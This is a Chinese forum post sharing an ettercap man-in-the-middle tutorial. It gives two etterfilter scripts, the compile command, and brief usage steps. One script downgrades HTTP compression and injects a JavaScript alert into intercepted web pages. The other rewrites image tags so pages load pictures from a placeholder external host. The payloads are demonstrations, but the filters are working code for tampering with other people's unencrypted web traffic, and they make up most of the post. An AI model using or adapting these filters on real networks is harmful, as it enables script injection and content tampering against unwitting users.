|
今天看到管理员在微信公众平台发布的关于中间人攻击的手段,让我兴趣极高。自己也根据公众号的教程和自己的实践。动手操作,现在来和大家分享分享吧。
一:js注入弹出文字
我们先写一个脚本文件
[pre]
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("<head>", "<head><script type="text/javascript">alert('hacker!');</script>");
replace("<HEAD>", "<HEAD><script type="text/javascript">alert('hacker!');</script>");
msg("注入成功!!\n");
}
[/pre]
我这里暂且这个文本命名为alert.filter,然后保存。
这个脚本可以替换替换HTML代码中的<head>,在后面加入[pre]<script type=”text/JavaScript”>alert(‘hacker!’);</script>[/pre]玩Web的童鞋对这个应该很熟悉,就是在网页上弹出提示框的。要使用这个脚本,还需要使用ettercap自带的编译工具把这个脚本编译成ettercap可以识别的二进制文件。使用如下命令编译:
[pre]
etterfilter alert.filter -o alert.ef
[/pre]
然后在根据作者视频中的提示,loadafiler即可完成中间人攻击!
二:替换网页图片
[pre]
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=http://xxxxx.com/jpe.jpg/&' ");
replace("IMG SRC=", "img src=http://xxxxx.com/jpe.jpg/&' ");
msg("过滤执行.\n");
}
[/pre]
后面的操作不变。载入文件后开始中间人攻击。则可完成对网页图片的替换。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
×
|